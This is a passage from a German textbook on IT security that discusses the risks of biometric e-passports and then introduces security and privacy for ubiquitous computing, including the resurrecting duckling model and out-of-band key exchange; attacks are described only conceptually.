ungünstigen Kamerawinkeln. Bevor ein Vergleichsmodell mit einem Referenzmodell
verglichen werden kann, müssen jedoch auch in diesem Fall wieder Landmarken
des Gesichtes (Augenwinkel, Nase etc) bestimmt werden, so dass die Ausrichtung
der Modelle identisch hergestellt werden kann. Erst dann können Ähnlichkeitsmaße
bestimmt werden, die nun auf Geometrieinformationen wie lokalen Krümmungsmaßen
oder Abstandsmaßen zwischen den geometrischen Oberflächen beruhen. Weiterhin
zusätzlich ausgewertet wird die Farbinformation mit den Texturmerkmalen. Bei
der 3D-Gesichterkennung liegt gegenüber dem herkömmlichen zweidimensionalen
Verfahren deutlich mehr an Information vor, so dass mögliche Fehler des biometrischen
Systems (z.B. ein Passinhaber wurde vom System nicht erkannt) reduziert werden
können.
Ein weiteres Ziel der biometrischen Pässe ist es, die Bindung von Passinhaber an
den Pass zu stärken und somit das Risiko der Weitergabe eines Passes und Nutzung
durch eine Dritte Person zu reduzieren. Das Risiko einer missbräuchlichen Nutzung
91
echter Identitätsdokumente durch Unberechtigte wurde auch im Zusammenhang mit
dem sogenannten ?Visa-Shopping? formuliert: Das Ausmaß dieses Missbrauchs an
den Grenzen des Schengen-Raums und die Auswirkungen sind schwer zu quantifizieren. Das Bundeskriminalamt (BKA) hat für die Grenzkontrollen in Bundesrepublik
Deutschland für das Jahr 2006 bei 3100 Verfälschungen von Dokumenten im gleichen Zeitraum 665 missbräuchliche Nutzungen detektiert. Es wird erwartet, dass
durch die biometrische Verifikation von Gesichtsbild und Fingerbild im ePass ein
Missbrauch durch Weitergabe deutlich reduziert werden kann [zier2007]. Mit dieser
Erwartung wird begründet, warum zusätzlich zu dem von der ICAO als obligatorisch
spezifiziertem Lichtbild zwei Fingerbilder in den ePass zu integrieren werden: Mit
einer Zwei-Finger-Verifikation kann eine gegenüber einem einfachen 2D-Lichtbild
höhere Erkennungsleistung erzielt werden. Sofern jedoch die biometrisch gestützten
Grenzkontrollen an den EU-Außengrenzen allein auf der Zwei-Finger-Präsentation
basieren sollte, würde die Europäische Union quasi zu einer ?biometrischen Insel?: Die
Prüfung der Bindung von biometrischer Charakteristik zum ePass könnte lediglich für
EU-Bürger vorgenommen werden, da Bürger anderer Herkunft keine entsprechenden
Referenzen in ihren Pässen vorweisen könnten. Die Installation in Portugal zeigt
glücklicherweise eine andere Richtung auf. Dies ist im Grundsatz richtig und wichtig,
um die Möglichkeit eines Ersatzverfahrens zu erhalten, die sich mit der Aufnahme
einer zweiten biometrischen Charakteristik ergibt. Durch Umweltbedingungen, handwerkliche Tätigkeit oder auch durch (Haut-) Krankheiten kann die Abbildung der
biometrischen Charakteristik ?Papillar-Leisten? nicht in für die Fingerbilderkennung
ausreichender Qualität erfolgen. Der Anteil der Bevölkerung, der beispielsweise durch
Hautkrankheiten ? temporär oder dauerhaft ? keine Fingerbilder in ausreichender
Qualität liefern kann, wird von Hautärzten auf bis zu 11% geschätzt. Ungeachtet der
Chancen biometrischer Reisepässe werden mit deren Einführung einige neue Risiken
für den Passinhaber befürchtet. Diese sollen im Folgenden betrachtet und diskutiert
werden.
In einigen Europäischen Ländern wurde mit der Einführung des elektronischen
Passes im gleichen Schritt eine zentrale Speicherung der biometrischen Daten der
Bürger implementiert. Dies ist weder notwendig noch entspricht es der über die vergangenen Jahrzehnte gewachsenen Europäischen Datenschutzkultur. Sofern möglich,
sollte bei der Gestaltung von biometrischen Systeme auf die Einrichtung zentraler
Datenbanken verzichtet werden [MBB+ 08].
Vielfach wird auf das Risiko einer identischen Reproduktion eines ePasses Hingewiesen. Diese Möglichkeit eines geklonten Passes erscheint schon durch die in
der Datenseite eingebauten physikalischen Sicherheitsmerkmale unwahrscheinlich.
Auch bei einer exakten Reproduktion des RFID Chips [hei] und seiner logischen
Datenstruktur ist der Gewinn für einen Angreifer gering: Durch die elektronische
Signatur über die Hashwerte der einzelnen Datengruppen ist ein Austausch der
biometrischen Daten nicht möglich. Für den Fall, ein geklontes Dokument würde zum
Lichtbild eines ?look-alike? passen, wäre eine Detektion durch einen Abgleich der
Fingerbilder möglich. Zudem: Ohne den technischen Aufwand des Klonens ließe sich
? bei Vortäuschung eines Passverlustes ? ein Pass-Duplikat auf dem Antragswege mit
92
wesentlich geringerem Aufwand besorgen. Das Risiko ist unkritisch.
Ein weiteres Risiko betrifft das unberechtigte Öffnen eines ePasses durch nicht
autorisierte Personen und ohne Kenntnis des Passinhabers. Diese Möglichkeit kann
insbesondere bei nicht zu geringer Entropie der in der MRZ abgelegten Informationen,
aus denen der Zugangschüssel zum RIFD-Chip gewonnen wird, Durch die Randbedingungen der Proximity-Cards (max. 25 cm) und die selbst bei einer Reduktion auf nur
noch 220 Schlüssel (ca. 6 Ziffern) abgeschätzte Dauer von 12 Tagen[KN07] erscheint
der Angriff von geringer praktischer Relevanz. Der Zugriff auf das Gesichtsbild (DG2)
ist kein wirklicher Gewinn ? ein Foto des ePass-Trägers ließe sich in geringer Zeit
anfertigen.
93
7 Sicherheit für ubiquitous
computing
7.1 Einführung
Mark Weiser formulierte bereits in 1995 seine ubiquitous computing-Vision (UC)
(vgl. [Wei95]), die eine Reihe von neuartigen Sicherheitsfragestellungen aufwirft. Beispielhaft sei hier angeführt, dass in UC-Anwendungsszenarien eine große Anzahl
an Knoten/Peers spontan und autonom drahtlos kommunizieren und interagieren
können, ohne sich gegenseitig vorab zu “kennen” oder auf eine gemeinsame Sicherheitsinfrastruktur (z.B. PKI) zurückgreifen zu können.
Solche Szenarien erschweren die Einbringung von etablierten Methoden aus der
IT-Sicherheit, die im Allg. eher auf “klassische” IT-Infrastrukturen und Anwendungen
passen.
Dieses Kapitel soll den Leser in die Thematik Sicherheit für ubiquitous computing
einführen und ist wie folgt aufgebaut: Zunächst soll anhand von ausgewählten Anwendungsfällen die Breite und Vielfalt von UC-Systemen und Anwendungen illustriert
werden und damit das Bewusstsein für die besonderen sicherheitsrelevanten Fragestellungen schaffen. Hierbei setzt dieses Kapitel den Fokus auf drei unterschiedliche
UC-Anwendungsgebiete: Mobile computing, Ad hoc interaction, und Smart spaces. Für
jedes Anwendungsgebiet wird anhand einer typischen Anwendung erläutert, in welchen Aspekten sich die Anwendungsgebiete unterscheiden und welche Implikationen
sich hieraus ergeben.
Darauf aufbauend werden in den Abschnitten 7.3 und 7.4 zwei Sichtweisen auf die
UC-Sicherheit vorgestellt. Hierbei wird zum Einen auf die besonderen Charakteristika abgehoben, die eine Reihe bekannter und neuartiger Risiken aufwerfen, sofern
man nicht geeignete Gegenmaßnahmen berücksichtigt. Zum Anderen werden die
im UC-Anwendungsgebieten inhärent gegebenen Limitierungen in Ressourcen und
vorhandener Infrastruktur diskutiert. Hieraus lassen sich eine Reihe von Herausforderungen an die IT-Sicherheitsziele ableiten.
Im Abschnitt 7.5 wird auf ausgewählte Lösungsansätze eingegangen, die erste
Antworten auf neue Risiken und Herausforderungen geben. Das Kapitel schließt mit
Hinweisen auf weiterführende Literatur.
95
7.2 Beispielhafte UC-Szenarien
7.2.1 Mobile Computing
Mobile Computing (ursprünglich auch Normadic Computing) unterstützt mobile
Benutzer, z.B. Außendienstmitarbeiter, mit Netzverbindung und Zugriff auf Dienste
und Backend-Systeme während sie sich vor Ort beim Kunden bzw. im Einsatz
befinden. Ein erklärtes Ziel ist es, eine Arbeitsumgebung zu schaffen, die äquivalente
Dienste zu einem Büro-Nutzer bietet. Hier bilden die stetig zunehmende Verbreitung
von drahtlosen Netzen (802.11 Technologie, Mobilfunknetze etc.) den Ausgangspunkt.
Die Qualität der zur Verfügung gestellten Endnutzer-Funktonalität variiert hierbei
und ist limitiert durch
• Geräteeigenschaften (Speicherkapazität, Energieverbrauch, CPU Leistung, Benutzer-Schnittstelle/Interface)
• Netzabdeckung, verfügbare Bandbreite und Reisegeschwindigkeit
Im Allgemeinen sind mobile Geräte leistungsschwächer als Desktop-Computer. Dies
erfordert den Einsatz sog. leichtgewichtiger IT-Sicherheitsverfahren, um mit dem
Energie- und Speicherverbrauch haushalten zu können. Des weiteren können “‘schwache”’ CPUs oft nicht in sinnvoller Zeit ausgefeilte und komplexe kryptographische
Operationen durchführen. Eine weitere Einschränkung stellt u.U. die Benutzerschnittstelle (UI) dar. So erfordert eine rein auf Sprache basierte Interaktion andere Methoden
der Benutzer-Authentifizierung als ein Gerät mit angeschlossener Tastatur.
In der Regel verlassen sich Mobile Computing Anwendungen auf eine gegebene
Infrastruktur, z.B. auf die zellularen Netze eines Mobilfunkanbieters. Dies hat Implikationen für die Sicherheit. Ein Nutzer muss sich vorab bei einem Anbieter registrieren,
bevor er einen Dienst nutzen kann. Damit ist die Nutzergruppe geschlossen und
der Zugriff zur Infrastruktur wird vom Anbieter verwaltet. Somit ist eine anonyme
Dienstnutzung praktisch ausgeschlossen.
Mobile Geräte gehen einfach verloren oder können entwendet werden. Ein Angreifer
wird u.U. in die Lage versetzt unter einer falschen Identität einen Dienst zu nutzen.
Diese physikalische Gefahr besteht immer dann, wenn mobile, tragbare Geräte zum
Einsatz kommen.
An dieser Stelle soll ein typisches Szenario des Mobile Computing beschrieben
werden, um später in der Diskussion hierauf zurückgreifen zu können.
Scenario 1: Ein Verkäufer vor Ort bei einem Kunden
Ein Verkäufer ist auf dem Weg zu einem Kunden. Unterwegs benötigt
der Verkäufer Zugriff auf die interne Unternehmens-IT, um bspw. letzte,
aktualisierte Daten über seine Kunden abrufen zu können. Sein Laptop
ist mit einem 802.11 WiFi Schnittstelle und mit einer LTE Schnittstelle
ausgerüstet. Die Verbindung zum Unternehmens-Backend wird über unterschiedliche Anbieter hergestellt (In Hotels, Bahnhöfen über öffentliche
WiFi HotSpots, im Zug über LTE).
96
7.2 Beispielhafte UC-Szenarien
Vor Ort bei Kunden steht ebenfalls ein 802.11 Netz für Gäste zur Verfügung. Der Verkäufer könnte hier hier einen gesicherten Zugang zum
Unternehmens-Backend und zur lokalen Infrastruktur benötigen, um bspw.
ein vertrauliches Dokument direkt an den Drucker senden zu können, der
sich direkt in seinem Sichtfeld vor Ort beim Kunden befindet.
Wir formulieren an dieser Stelle die Frage: Kann ein Verkäufer ein vertrauliches
Dokument direkt vor Ort ausdrucken, ohne der Netz-Infrastruktur des Kunden
vertrauen zu müssen?
7.2.2 Spontane Interaktion
In diesem UC-Szenario kann nicht auf eine gegebene Infrastruktur zurückgegriffen
werden. Endgeräte formen hier ad hoc eine Infrastruktur, indem sie spontan und
temporär drahtlose Kommunikationsverdingungen eingehen.
Dies führt zu einer spontanen Geräteinteraktion auf Anwendungsebene. Aufgrund
einer fehlenden Infrastruktur kann hier vorab keine Zugangskontrolle einzelner Geräte
etabliert werden. Es gibt keine Nutzerverwaltung oder ein Gruppenkonzept; Geräte
und somit Nutzer können nach Belieben Kommen und Gehen1 . Darüber hinaus
können Geräte und Nutzer weitgehend anonym agieren.
Als typisches Szenario sei hier die spontane passive Zusammenarbeit in sog. Opportunistic Networks angeführt.
Scenario 2: Spontane Zusammenarbeit in OppNets
In einem OppNet sind Knoten in der Lage digitale Werbung auszutauschen,
sofern sie sich in Kommunikationsreichweite befinden. Hierbei Interagieren
die Geräte (nach einem initialen Setup) ohne Zutun eines Nutzers. Die
Verbreitung von Information (hier Werbung) wir allein durch Interessensund Wissensprofile auf dem Gerät gesteuert (vergleichbar mit Mund-zuMund Propaganda).
Hierbei entstehen insbesondere Fragestellungen zum Schutz der Privatsphäre, da sich
Geräte/Nutzer u.U. zum ersten Mal begegnen und Informationen austauschen ohne
sich zu kennen. Darüber hinaus ist unklar, wie vertrauenswürdig die ausgetauschten
Informationen sind.
7.2.3 Smart Spaces
Smart Space bildet einen Oberbegriff für physikalische Umgebungen, die mit weitreichenden IT Funktionen ausgestattet sind. Ein prominentes Beispiel wäre das Smart
Home.
In erster Line ziehen Smart Spaces darauf ab, auf sehr benutzerfreundliche Art und
Weise die Interaktion eines Nutzers mit seiner Umgebung zu ermöglichen. Hierbei
1
Vergleichbar mit P2P-Netzen
97
spielt oft die Kontextinformation (Ort, Zeit etc.) eine wichtige Rolle. In bestimmten
Szenarien wird davon ausgegangen, dass ein Nutzer seine digitale Identität in Form
eines Tokens und u.U. weitere Geräte bei sich trägt.
Smart Spaces besitzen vielfältige Sensoren (Kameras, Bewegungsmelder, Mikrophone etc.) zur Erfüllung Ihrer Funktionen. Es liegt auf der Hand, dass die Privatsphäre
leicht verletzt werden könnte. Die weitere Problematik soll Anhang einer digitalen
Krankenakte und eines Pulsmessgeräts veranschaulicht werden.
Scenario 3: Beobachtung/Überwachung von Vitaldaten eines Patienten
In zukünftigen Krankenhäusern könnten Patientendaten in digitalen Krankenakten abgespeichert werden (bspws. auf einem Tablet-Computer).
Diese Krankenakten werden stets mit den aktuellen Informationen aus
Behandlungen und der Vitaldaten aktualisiert. Betrachten wir einen batteriebetriebenes Pulsmessgerät, dass einem Patienten während seines
Aufenthalts angelegt wird und über eine drahtlose Schnittstelle kontinuierlich Daten zur Krankenakte sendet. Diese Daten könnten bspw. dazu
dienen, einen Alarm beim ärztlichen Personal auszulösen, sobald die Daten
ein Anomalie aufzeigen.
Hier stellen sich eine Reihe von Fragen: Wie wird bei Aufnahme von Patienten
unzweideutig und sicher der mobile Pulsmesser mit der Krankenakte verknüpft. Die
Daten dürfen nicht in der falschen Krankenakte gespeichert werden, die Übertragung
muss vertraulich geschehen und die Daten dürfen nicht verfälscht werden. Schließlich
muss die Kopplung zwischen Pulsmesser und Akte nach Verlassen des Krankenhauses
wieder entkoppelt werden. Das sog. resurrecting duckling security policy framework,
beschrieben in Abschnitt 7.5.2, bietet hier eine Lösung.
7.3 UC-Eigenschaften und zugehörige Risiken
Sehr viele UC-Anwendungsszenarien setzen eine drahtlose Kommunikation zwischen
einzelnen Knoten voraus. Die Kommunikation kann spontan erfolgen (siehe oben);
u.U. ist damit eine multi-hop Kommunikation verbunden (wie beispielsweise in
kooperierenden Sensornetzwerken). Drahtlose Kommunikation ist besonders anfällig
für Lauschangriffe über die “Luftschnittstelle”, da sich im Allgemeinen Radiowellen
in alle Richtungen ausbreiten. Somit können diese Signale von jedem Knoten (hier
Angreifer) in Signalreichweite empfangen werden, ohne dass ein Sender hiervon etwas
mitbekommt.
Sog. Man-in-the-Middle-Angriffe sind bei drahtloser multi-hop Kommunikation
einfach realisierbar, da sich ein Angreifer nicht einmal physikalisch nah bei einem
Sender aufhalten muss.
Als weiteres Risiko sei das betrügerische Auftreten (engl. impersonation) genannt.
Ein Angreifer könnte über einen Laufangriff Berechtigungsnachweise (engl. credentials)
abhören und diese später für einen Dienstzugriff nutzen (vgl. sog. replay-Angriffe).
98
7.4 UC-Limitierungen und zugehörige Herausforderungen
Eigenschaften
Risiken
drahtlos
Abhören
spontan
Betrügerisches Auftreten
multi-hop
MITM-Angriffe
physikalischer Zugang
Daten- / Gerätediebstahl / Manipulation
endliche Batterieleistung
DoS-Angriff
Nachverfolgung
Verletzung der Privatsphäre
Kommunikation
Allgegenwärtigkeit
der mobilen Knoten
Tabelle 7.1: Eigenschaften und Risiken
Da UC-Knoten i.d.R. überall vorhanden sein werden und oft leicht physikalisch
zugänglich und unbewacht besteht zusätzlich das Risiko Daten- oder Gerätediebstahl
sowie eine vor Ort Manipulation. Somit ist ein Zugriff auf die Daten eines mobilen
Geräts besonders geschützt werden, auch um einen möglichen Identitätsdiebstahl
vorzubeugen. In der Praxis ist dies insbesondere bei SmartPhones eine reale Gefahr.
Die US-Initiative “Secure Our Smartphones” fordert vor diesem Hintergrund die
Hersteller von Smartphones auf, diese mit einem sog. “Kill Switch” auszustatten, der
er erlaubt, im Falle eines Diebstahls persönliche Daten zu löschen und das Gerät mit
einer Aktivierungssperre schützt.
Da UC-Knoten oft ihre Energie aus Batterien beziehen, sind diese Knoten einer
besonderen Form eines DoS-Angriffs ausgeliefert, der sog. sleep deprivation torture.
Ein Angreifer kommuniziert hier konstant mit einem Knoten und verfolgt das Ziel,
dass die Batterie sich schnell entleert. Damit wäre ein Dienst auf dem UC-Knoten
nicht mehr verfügbar und der DoS-Angriff erfolgreich.
Schließlich muss genannt werden, dass ubiquitous computing in den überwiegenden
Anwendungsfällen die Möglichkeit der Nachverfolgung von Objekten und Personen
mit einbezieht. Hier ist der Verlust der Privatsphäre inherent gegeben und es lassen
sich leicht Bewegungs- und Nutzerprofile erstellen.
In Tabelle 7.1 sind noch einmal die Eigenschaften und zugehörigen Risiken zusammengefasst. In Abschnitt 7.5 stellen wir erste Gegenmaßnahmen vor.
7.4 UC-Limitierungen und zugehörige
Herausforderungen
Fragestellungen zur IT-Sicherheit im Umfeld von ubiquitous computing sind insbesondere herausfordernd, da die verfügbaren Ressourcen und Infrastrukturkomponenten in
UC-Umgebungen oft stark variieren und limitiert sind. Für UC-Geräte gehören hierzu
Speicherkapazität, Energieverbrauch, CPU Leistung und das verfügbare Nutzerinterface (UI). Auch die Eigenschaften einer Netzanbindung variieren. Unterschiede
99
in Bandbreite, Netzverfügbarkeit, Umgebungseinflüsse und Mobilität der Knoten
müssen in Betracht gezogen werden.
Da die CPU Leistung vo UC-Knoten sehr gering sein kann (RFID-Chips, SmartCards) muss die Wahl auf geeignete, leichtgewichtiger Sicherheitsmechanismen und
deren Umsetzung fallen, die Speicher und Energieverbrauch schonen. Darüber hinaus
sind Einschränkungen des Nutzerinterface zu berücksichtigen. Am unteren Ende
befinden sich dann bspw. passive RFID-Chips, die überhaupt kein Nutzerinterface
im “‘klassischen”’ Sinn bieten. Damit wird bspw. die Einrichtung eines trusted path
zwischen Nutzer und System schwieriger. Ein trusted path zielt darauf ab, eine authentischen Kanal zwischen Nutzer und System zu etablieren, ohne der Gefahr ausgeliefert
sein, dass ein Angreifer bspw. die Tastatureingaben protokolliert, um Passwörter zu
entwenden.
Das Fehlen von zentralen Autoritäten (bspw. PKI) wie im UC-Scenario der spontanen Interaktion beschrieben erschwert eine gegenseitige Authentifizierung von Knoten sowie ein Bilden von Vertrauensbeziehungen oder auf einer Policy basierenden
Kommunikations- oder Interaktionsentscheidung.
Tabelle 7.2 fasst noch einmal de UC-Limitierungen und Herausforderungen zusammen.
7.5 Ausgewählte Lösungsansätze
Im folgenden werden mehrere Lösungsansätze zur Sicherheit in UC-Umgebungen
vorgestellt. Die Liste ist keineswegs vollständig oder allumfassend, versucht aber ein
paar grundlegende Techniken vorzustellen, die sich auf viele UC-Szenarien anwenden
lassen. Darüber hinaus geben wir Hinweise für weiterführende Literatur.
7.5.1 Privacy-Enhancing Technologies
Eine Vielzahl von UC-Anwendungen und UC-Umgebungen fusst auf das Erfassen und
Verfolgen von Menschen und Geräten, um gewisse Aufgaben zu lösen. So benötigen
ortsbasierte Dienste (engl. location-based services) die Position des Nutzers zur
Erbringung des Dienstes. Darüber hinaus bedroht jede Art der Kommunikation und
Interaktion (oft drahtlos) mit der IT-Umwelt potentiell die Privatsphäre eines Nutzers,
sofern aufgezeichnete Kommunikationsmuster und -verhalten zweifelsfrei einer Person
zugeordnet werden können. Somit muss nicht nur eine Nachricht an sich geheim
gehalten werden, sondern auch seine Quelle und sein Ziel. Diese Eigenschaft wird
auch als Sender- bzw. Empfängeranonymität bezeichnet. Die im Internet verbreiteten
Ansätze von Mix-Netzwerken, sog. onion-Routing oder anonymen Re-Mail-Diensten
lassen sich nur schwer auf UC-Umgebungen übertragen, da die gemachten Annahmen
zur Leistungsfähigkeit der Knoten und Netzanbindung oft nicht zutreffen. An dieser
Stelle sei auf “Mist Routing” [AMCK+ 02] und “Mix Zones” [BS04] verwiesen.
Zur Sicherung der Privatsphäre bei ortsbasierten Diensten können zwei prinzipielle
Ansätze unterschieden werden:
100
LBS provider
location server
(anonymizing proxy)
client
client
client
…
Abbildung 7.1: Middleware zur Anonymisierung von ortsbasierten Daten
• Mittels technischer Maßnahmen werden kritische Daten soweit verschleiert, d.h.
unkenntlich gemacht, dass es zu einem späteren Zeitpunkt nicht mehr möglich
ist, die Daten eindeutig einer Person zuzuordnen.
• Mittels personalisierter Richtlinien (engl. policy) formuliert ein Nutzer sein Maß
an Privatheit. Die UC-Technik setzt dies dann so um.
Verschleierung von Daten In [GG03] schlagen die Autoren eine Middleware
vor, die ortsbasierte Daten von Endgeräten/Clients verschleiert. Erst dann werden
die Daten einem Anbieter von ortsbasieten Diensten (engl. location based service
provider) weitergereicht. Hierbei wird die Position initial durch ein Endgerät selbst
bestimmt (z.B. mittels GPS). Die Ortsinformation wird wird aber nur durch eine
Zwischenschicht verfügbar gemacht. Hier spezifiziert ein Client zunächst, dass der
ununterscheidbar von mindestens k − 1 anderen Teilnehmern sein möchte, dies wird
auch als k-Anonymität bezeichnet.
In der Middleware kommt ein Verfahren zum Einsatz, dass ich an den QuadtreeAlgorithmus anlehnt. Kurz gesagt, wird die zeitliche und räumliche Dimension so
lange vergröbert, bis die geforderte k-Anonymität erreicht ist. Erst dann werden die
so verfälschten Daten weitergegeben. In Abbildung 7.1 ist vereinfacht die Architektur
dieses Ansatzes illustriert.
Policy-basierte Ansätze In [Lan02] wird pawS vorgeschlagen, ein System das
einen Nutzer eine PET-Technologie in die Hand gibt. Der dort verfolgte Ansatz
basiert auf dem Privacy Preferences Projet, ein Framework das es erlaubt, privacy
policies in maschinenlesbare Form (XML) zu beschreiben. Unter Zuhilfenahme eines
sogenannten privacy assistant (PA) verhandelt ein Nutzer eine Präferenzen bzgl. seiner
Privatsphäre mit der UC-Umgebung. Zu diesem Zweck erkennt der PA ein sog. privacy
beacon sobald er eine UC-Umgebung betritt. Das privacy beacon informiert den PA
über verfügbare Dienste in der UC-Umgebung, z.B. ein Drucker, eine CCTV-Kamera,
und insbesondere deren Möglichkeiten zur Datenerfassung bzw. Datensammlung. Der
PA kontaktiert daraufhin einen Privacy-Proxy eines Nutzers, der sich im Internet
101
befinden kann. Dieser Proxy kann Kontakt zu den Proxies der Dienste vor Ort
aufnehmen und mit diesen anhand der privacy policies des Nutzers aushandeln,
welche Dienste in welcher Form betrieben werden dürfen. Dies könnte z.B. dazu
führen, dass eine CCTV-Kamera ausgeschaltet wird, solange sich der Nutzer in der
UC-Umgebung befindet.
Darüber hinaus wurden in der Arbeit [Lan02] vier Design Prinzipien für UCUmgebungen formuliert:
Wahrnehmung (engl. Notice) UC-Umgebungen sollen einen Nutzer in einem standardisierten Verfahren aktiv darauf hinweisen, dass hier u.U. Daten gesammelt
werden.
Wahl und Einverständnis (engl. Choice and Consent) Zum Schutz der Privatsphäre, zukünftige UC-Umgebungen sollen einem Nutzer die Wahl (u.U. auch Abwahl) von Mechanismen zur Datenerfassung bieten. Die UC-Systeme sollen
einen Nutzerentschluss respektieren.
Nähe und Ort (engl. Proximity and Locality) Ortsinformation soll herangezogen
werden, um Zugangsschutz zu Diensten umzusetzen. Ein Nutzer, der einen
Audiostream eines Meetings aufzeichnet, soll dies nur können, wenn er am
Meeting teilnimmt und nicht von überall auf der Welt (Nähe). Auch soll der
Datenstrom nicht das LAN verlassen (Ort).
Einfacher Zugriff und Regress (engl. Access and Recourse) Ein UC-System sollte einem Nutzer ein einfaches Interface auf die gesammelten persönlichen Daten
bereithalten und er sollte über jede Verwendung der Informationen informiert
werden, um u.U. Regressansprüche anmelden zu können.
Die Autoren der Arbeit [Lan02] verfolgen damit das Ziel, Menschen und Systemen,
die die Privatsphäre schützen wollen, eine technische Umsetzung an die Hand zu
geben. Dies ist eine Grundlage für das Vertrauen eines Nutzers in eine UC-Umgebung.
7.5.2 Grundlegendes Absichern einer Kommunikation
Betrachten wir den Fall der Etablierung und Absicherung einer Kommunikation
zwischen zwei UC-Geräten im Kontext der möglichen Anwesenheit eines Angreifers. Die Kommunikation sollte abhörsicher verlaufen und die beteiligten Geräte
sollten sich gegenseitig authentifizieren können. Mittels Verschlüsselung kann der
Kommunikationskanal abhörsicher gestaltet werden. Hier muss auf geeignetem Wege Schlüsselmaterial ausgetauscht werden, je nachdem ob ein symmetrisches oder
asysmetrisches Kryptosystem zum Einsatz kommt. Bleibt dier Frage des authentischen Schlüsselaustausches. Da wir in UC-Umgebungen i.d.R. nicht auf zentrale,
vertrauenswürdige Autoritäten (z.B. PKIs) zurückgreifen können zum Austausch von
Zertifikaten oder geheimen Schlüsselmaterial, muss ein Weg zum direkten Austausch
dieser Informationen über eine out-of-band-Kommunikation stattfinden.
102
imprinting
imprintable
imprinted
(unborn/dead)
(alive)
death
Abbildung 7.2: Zustände eines Slave-Geräts nach X
out-of-band-Kommunikation erfordert einen zweiten Kommunikationskanal, der
i.d.R. technisch limitiert ist (Reichweite, Kapazität etc.), dafür aber sehr schwer
abhörbar. Die Limitierungen machen dieses Kanal nicht praktikabel für die eigentliche
Kommunikation. In [BSSW02] wird hierfür den Begriff location-limited channels für
einen Kommunikationskanal verwendet, dessen Signal eine räumliche Begrenzung hat
(z.B. Musik ein einem Raum von der ein gemeinsamer Schlüssel abgeleitet wird) und
von einem Nutzer vor Ort kontrolliert werden kann (Musik an/Musik aus).
Das von den Autoren in [SA99] vorgeschlagene resurrecting duckling securityModel setzt auf einen vertrauenswürdigen Kanal, der zur sicheren flüchtigen GeräteAssoziation verwendet wird. Hier wird explizit das Problem der Authentifizierung
von UC-Geräten angegangen, ohne auf zentrale Autoritäten zurückgreifen zu müssen.
Die Geräte authentifizieren sich gegenseitig und einigen sich auf einen gemeinsamen
Schlüssel zur späteren Verwendung über einen physikalischen Kontakt, d.h. die
Geräte werden bspw. kurz aneinander gehalten. Aus Sicht eines Nutzers ist dies
einfach zu verstehen und es ist klar, welche Geräte involviert sind. Die Geräte nehmen
unterschiedliche Rollen ein
• Ein slave-Gerät oder duckling gehorcht einem master-Gerät
• Ein master-Gerät oder mother duck steuert ein slave-Gerät
Zu Beginn ist das slave-Gerät in einem Zustand imprintable (prägbar). Sobald
ein master-Gerät einen Schlüssel übermittelt, wechselt das das slave-Gerät in den
Zustand imprinted (geprägt) und nimmt nur noch Daten und Kommandos seines
masters entgegen.
Die Verbindung zwischen Master und Slave kann auf eine von drei Arten getrennt
werden. Der Master sendet einen sog. kill-Befehl, nachdem eine definierte Zeit
verstrichen ist oder nachdem eine definierte Transaktion stattgefunden hat. In allen
Fällen wechselt der Slave wieder in den imprintable Zustand. Die zwei Zustände und
die Übergänge sind in Abbildung 7.2 dargestellt.
Der Slave-Gerät muss manipulationssicher konstruiert werden. Dies schützt vor
einem Angreifer, der mittels Gewalt versucht, das Gerät in den Zustand imprintable
zu versetzen, um es danach selbst zu prägen und somit zu kontrollieren.
Der Autor ([SA99]) formuliert vier Prinzipien der resurrecting duckling securityPolicy
103
• Two States-Prinzip: Das Gerät, dass die resurrecting duckling security-Policy
implementiert, kennt zwei Zustände: imprintable und imprinted. Im ersten
Zustand ist das Gerät bereit, eine neue Assoziation einzugehen, im anderen
Fall besteht eine Assoziation zu einem Controlgerät.
• Imprinting-Prinzip: Der Übergang vom Zustand imprintable zum Zustand
imprinted. Dieser Übergang wird von einem Master initiiert, in dem ein Schlüssel
für die spätere Kommunikation übertragen wird. Als Übertragungskanal wird
ein geeigneter out-of-band-Kanal herangezogen.
• Death-Prinzip: Der Übergang vom Zustand imprinted zum Zustand imprintable
wird als “‘Tod”’ bezeichnet. In welcher Art und Weise dieser Übergang initiiert
werden kann, hängt von der jeweiligen Policy und Anwendung ab (vgl. Beispiele
oben).
• Assassiantion-Prinzip: Das Slave-Gerät muss so konstruiert sein (i.d.R. manipulationssicher), dass es für einen Angreifer unökonomisch ist, ein imprinted
Slave-Gerät mittels eines Angriffs in den Zustand imprintable zu überführen.
Es muss sichergestellt werden, dass ein Master-Gerät auf geeignete Weise das
verwendete Schlüsselmaterial sichert, um gegebenenfalls die Kontrolle über ein SlaveGerät nicht zu verlieren (z.B. wenn der Master beschädigt wird und ausgetauscht
werden muss).
Die resurrecting duckling security-Policy stellt eine Lösung für das eingangs beschriebene Smart Space-Szenario dar (siehe Seite 97). Die Patientenakte wäre das
Master-Gerät; das Pulsmessgerät wäre das Slave-Gerät. Bei Aufnahme des Patienten
würden diese beiden Geräte sicher assoziiert und bei der Entlassung wieder voneinander getrennt, so dass der Pulsmesser wieder für eine andere Krankenakte zur
Verfügung stünde.
7.5.3 out-of-band -Kommunikation
Im ubiquitous computing finden sich eine Reihe von Technologien, die für eine out-ofband-Kommunikation zum Austausch von initialen Schlüsselmaterial geeignet wären.
Wir listen hier wichtige Technologien auf:
• Infrarotes Licht wie es in IrDA Schnittstellen zum Einsatz kommt. Hierzu
müssen die kommunizierenden Geräte zueinander ausgerichtet werden und
die Kommunikationsreichweite ist beschränkt (Mit Standardtechnologie ca. 1
Meter). Dies ist vorteilhaft, da einen Nutzer sofort ersichtlich ist, welche Geräte
miteinander kommunizieren und dieser Kanal ist schwieriger abzuhören, als ein
sich in alle Richtungen ausbreitendes Radiosignal.
Siehe [BSSW02] und [SKKC05] für Arbeiten, die auf Infrarotes Licht als outof-band-Kanal setzen.
104
7.6 Zusammenfassung
• 2D Codes sind zweidimensionale Codes (bekannter Vertreter QR Code), die
ausreichend Kapazität besitzen, um Sicherheitsinformationen darauf abzuspeichern, z.B. ein gemeinsames Geheimnis. Dieses Geheimnis kann zur initialen
Kommunikationsabsicherung herangezogen werden. Hierbei ist der Vorteil, dass
der Nutzer i.d.R. den Code vor Augen hat und dieser Code einem Objekt der
physikalischen Welt zugeordnet ist.
In [MPR05] wird beschrieben, wie man 2D Codes zur Authentifizierung an
einem 802.11 WiFi Access Point einsetzen kann.
Mithilfe eines Smartphones kann über einen auf einem Bankautomaten angebrachten barcode die Kommunikation mit dem Bankautomaten abgesichert
werden (vgl. [CS06]).
• Device Pairing In der Praxis ist die Bildschirmausgabe als zweiter Kanal zum
Koppeln von Geräten (engl. device paring) weit verbreitet. Möchte man über
